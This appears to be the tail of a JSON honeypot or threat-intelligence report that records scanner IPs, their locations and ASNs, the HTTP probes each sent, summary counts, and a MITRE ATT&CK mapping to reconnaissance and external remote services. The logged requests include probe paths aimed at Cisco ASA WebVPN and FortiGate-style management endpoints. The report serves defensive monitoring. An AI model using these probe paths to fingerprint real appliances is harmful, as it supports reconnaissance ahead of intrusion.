      "asn": 396982,
      "as_org": "Google LLC"
    },
    "13.222.58.64": {
      "attack_count": 1,
      "first_seen": "2026-03-11T00:54:15.975Z",
      "last_seen": "2026-03-11T00:54:15.975Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "157.15.77.153": {
      "attack_count": 1,
      "first_seen": "2026-03-02T18:02:19.878Z",
      "last_seen": "2026-03-02T18:02:19.878Z",
      "ports": [],
      "event_types": [
        "\"GET /helpdesk/WebObjects/Helpdesk.woa HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138131,
      "as_org": "CV. NATANETWORK SOLUTION"
    },
    "182.119.227.64": {
      "attack_count": 1,
      "first_seen": "2026-03-12T11:47:10.217Z",
      "last_seen": "2026-03-12T11:47:10.217Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": "Zhengzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone"
    },
    "184.105.139.111": {
      "attack_count": 1,
      "first_seen": "2026-03-27T05:13:54.288Z",
      "last_seen": "2026-03-27T05:13:54.288Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "195.184.76.41": {
      "attack_count": 1,
      "first_seen": "2026-03-06T07:22:42.965Z",
      "last_seen": "2026-03-06T07:22:42.965Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "27.47.25.208": {
      "attack_count": 1,
      "first_seen": "2026-03-26T21:14:57.761Z",
      "last_seen": "2026-03-26T21:14:57.761Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 17622,
      "as_org": "China Unicom Guangzhou network"
    },
    "3.90.2.153": {
      "attack_count": 1,
      "first_seen": "2026-03-18T00:54:42.467Z",
      "last_seen": "2026-03-18T00:54:42.467Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "34.239.122.61": {
      "attack_count": 1,
      "first_seen": "2026-03-15T01:00:29.898Z",
      "last_seen": "2026-03-15T01:00:29.898Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "54.91.222.126": {
      "attack_count": 1,
      "first_seen": "2026-03-09T00:48:31.061Z",
      "last_seen": "2026-03-09T00:48:31.061Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "65.49.20.96": {
      "attack_count": 1,
      "first_seen": "2026-03-28T02:53:18.476Z",
      "last_seen": "2026-03-28T02:53:18.476Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "91.196.152.251": {
      "attack_count": 1,
      "first_seen": "2026-03-21T00:35:31.394Z",
      "last_seen": "2026-03-21T00:35:31.394Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.196.152.253": {
      "attack_count": 1,
      "first_seen": "2026-03-28T01:39:48.910Z",
      "last_seen": "2026-03-28T01:39:48.910Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.231.89.74": {
      "attack_count": 1,
      "first_seen": "2026-03-12T12:59:45.738Z",
      "last_seen": "2026-03-12T12:59:45.738Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    }
  },
  "x_nadsec_summary": {
    "top_countries": {
      "United States": 5292,
      "Russia": 951,
      "Lithuania": 275,
      "Finland": 234,
      "Germany": 220,
      "United Kingdom": 168,
      "Netherlands": 143,
      "Sweden": 128,
      "Hong Kong": 116,
      "Portugal": 115,
      "The Netherlands": 107,
      "France": 62,
      "China": 35,
      "Taiwan": 34,
      "United Arab Emirates": 32,
      "Thailand": 32,
      "Brazil": 26,
      "Switzerland": 24,
      "Australia": 24,
      "Poland": 18
    },
    "top_asns": {
      "Latitude.sh": 2334,
      "Omegatech LTD": 1700,
      "Global Connectivity Solutions Llp": 896,
      "Hurricane Electric LLC": 447,
      "UCLOUD INFORMATION TECHNOLOGY HK LIMITED": 376,
      "UAB Host Baltic": 275,
      "Soldatov Alexey Valerevich": 228,
      "Censys, Inc.": 195,
      "DigitalOcean, LLC": 151,
      "Amazon.com, Inc.": 150,
      "QuxLabs AB": 115,
      "Sistemas Informaticos, S.A.": 101,
      "Google LLC": 98,
      "PebbleHost Ltd": 88,
      "F3 Netze e.V.": 87,
      "Stiftung Erneuerbare Freiheit": 66,
      "ONYPHE SAS": 58,
      "Tencent Building, Kejizhongyi Avenue": 52,
      "Alsycon B.V.": 49,
      "Microsoft Corporation": 40
    },
    "targeted_ports": {},
    "top_events": {
      "\"GET / HTTP/1.1\" 200 -": 315,
      "Request timed out: TimeoutError(The read operation timed out)": 231,
      "\"GET /favicon.ico HTTP/1.1\" 404 -": 159,
      "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -": 49,
      "\"GET /robots.txt HTTP/1.1\" 404 -": 48,
      "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -": 43,
      "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -": 36,
      "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -": 34,
      "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -": 32,
      "\"GET /version HTTP/1.1\" 404 -": 32,
      "\"PRI * HTTP/2.0\" 505 -": 31,
      "code 505": 31,
      "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -": 31,
      "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -": 24,
      "\"GET /sitemap.xml HTTP/1.1\" 404 -": 21,
      "\"GET /config.json HTTP/1.1\" 404 -": 20,
      "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -": 17,
      "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -": 16,
      "\"GET /login?redir=/ng HTTP/1.1\" 404 -": 16,
      "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -": 15
    },
    "top_usernames": {}
  },
  "x_mitre_attack": {
    "techniques": {
      "T1133": {
        "name": "External Remote Services",
        "tactic": "Initial Access",
        "ip_count": 644,
        "sample_ports": []
      },
      "T1595": {
        "name": "Active Scanning",
        "tactic": "Reconnaissance",
        "ip_count": 644,
        "sample_ports": []
      }
    },
    "tactic_summary": {
      "Initial Access": 644,
      "Reconnaissance": 644
    },
    "technique_count": 2,
    "primary_tactics": [
      "Initial Access",
      "Reconnaissance"
    ]
  }
}